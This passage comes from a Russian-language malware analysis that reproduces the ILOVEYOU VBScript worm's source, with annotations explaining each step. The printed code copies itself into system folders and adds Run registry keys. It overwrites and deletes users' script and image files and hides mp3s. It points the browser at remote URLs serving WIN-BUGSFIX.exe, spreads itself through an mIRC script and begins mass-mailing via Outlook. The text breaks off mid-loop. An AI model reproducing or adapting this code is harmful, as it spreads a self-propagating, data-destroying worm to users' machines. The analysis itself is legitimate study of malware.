ILOVEYOU (663705), страница 2
Текст из файла (страница 2)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines которых сделан вывод о филиппинском про-
On Error Resume Next исхождении вируса [1]
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
c tr=0
Set fso = CreateObject("Scripting.FileSystemObject") Подготавливается окружение для работы вируса. [2]
s et file = fso.OpenTextFile(WScript.ScriptFullname,1)
v bscopy=file.ReadAll Читается основной файл вируса [3]
main() Запускается главная процедура
sub main()
On Error Resume Next
dim wscr,rr
s et wscr=CreateObject("WScript.Shell") Если установлен запрет на
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") обработку скриптов, то
if (rr>=1) then изменением ключа в [4]
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" реестре она разрешается.
end if
S et dirwin = fso.GetSpecialFolder(0) Определяются пути к: каталогу WIN; [5]
Set dirsystem = fso.GetSpecialFolder(1) каталогу SYSTEM;
Set dirtemp = fso.GetSpecialFolder(2) каталогу TEMP;
Set c = fso.GetFile(WScript.ScriptFullName) ; Определяется имя активного файла
c.Copy(dirsystem&"\MSKernel32.vbs") ; В каталог SYSTEM копируется копия вируса [6]
c.Copy(dirwin&"\Win32DLL.vbs") ; В каталог WIN копируется копия вируса
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") ; В каталог SYSTEM копируется вторая копия вируса
regruns() ; Запускается процедура работы с реестром Windows
html() ; Запускается процедура работы с HTML файлами
spreadtoemail() ; Запускается процедура работы с электронной почтой
listadriv() ; Запускается процедура деструктивных действий
end sub
====================Процедура работы с реестром WINDOWS================
sub regruns()
On Error Resume Next
Dim num,downread
r egcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
Создается ключ в реестре, который будет запускать вирус при загрузке WINDOWS
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") Анализируется расположение каталога
if (downread="") then Download Directory и если он не является
downread="c:\" корневым каталогом диска С: , то пере-
end if назначается на C:\ [7]
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Проверяется наличие в системном каталоге файла WinFAT32.exe [8]
Randomize и при его наличии генерируется случайное число в пределах 1 - 4
num = Int((4 * Rnd) + 1)
i f num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
В случае наличия в системной директории файла WinFAT32.exe производится прописывание одного из четырех адресов сайта http://www.skyinet.net/ в реестре в качестве стартовой страницы для Microsoft Internet Explorer (в зависимости от сгенерированного случайного числа ). С сервера скачивается файл WIN-BUGSFIX.exe. [9]
i f (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
П ри наличии файла WIN-BUGSFIX.exe в каталоге Download ( C: \ ) в реестре прописывается ключ для его запуска при загрузке Windows и стартовой страницей Microsoft Internet Explorer прописывается файл about:blank [10]
end if
end sub
====================Процедура деструктивных действий================
-----------------Подпрограмма поиска на дисках ------------
s ub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then Производится проверка типа дисков и поиск по всем дискам
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
----------------Подпрограмма заражения файлов ------------
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
s et f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path) Проверяются расширения файлов [11]
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
s et ap=fso.OpenTextFile(f1.path,2,true) Если расширения файлов .VBS или .VBE, то вирус записывает себя вместо них.
ap.write vbscopy
a p.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then Если расширения файлов .JS ; .JSE ; .CSS ; .WSH ; .SCT ;
set ap=fso.OpenTextFile(f1.path,2,true) .HTA, то вирус также записывает себя вместо них
ap.write vbscopy и меняет расширения на .VBS
a p.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path) Вирус удаляет оригинальные файлы.
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
e lseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true) Если расширения файлов .JPG ; .JPE ,то вирус записывает себя вместо них и меняет расширения на .VBS
ap.write vbscopy
a p.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs") Вирус удаляет оригинальные файлы.
f so.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs") Если расширения файлов .MP2 ; .MP3 ,то вирус создает файлы с такими же именами, но
mp3.write vbscopy расширениями .VBS
m p3.close
set att=fso.GetFile(f1.path) Вирус присваивает оригинальным файлам .MP2 или .MP3 атрибут «Hidden»
att.attributes=att.attributes+2
e nd if
if (eq<>folderspec) then Вирус ищет в системе программу mIRC32 ( чат )
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then и создает при ее наличии файл script.ini [12]
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
-----------Скрипт для программы mIRC32 (script.ini)--------------
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
s criptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" Эта часть скрипта осуществляет рассылку всем
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" участникам чата копии вируса в виде HTM файла [13]
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
s ub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec) Вирус запоминает пути к зараженным файлам
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
--------Подпрограмма создания ключа в реестре -----------
s ub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell") Запись ключа в реестр
regedit.RegWrite regkey,regvalue
end sub
-------------Подпрограмма чтения ключа в реестр -----------
f unction regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value) Проверка записи ключа в реестр
end function
function fileexist(filespec)
On Error Resume Next
dim msg
i f (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec) Данной процедурой вирус подготавливает отправку сообщений со своей копией по электронной почте.
On Error Resume Next [14]
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
=================Процедура рассылки копий вируса по электронной почте =============
sub spreadtoemail()
O n Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI") Вирус получает доступ к адресной книге программы Outlook Express.[15]
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
i f (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x) Организуется цикл для рассылки по всем адресам адресной книги [16]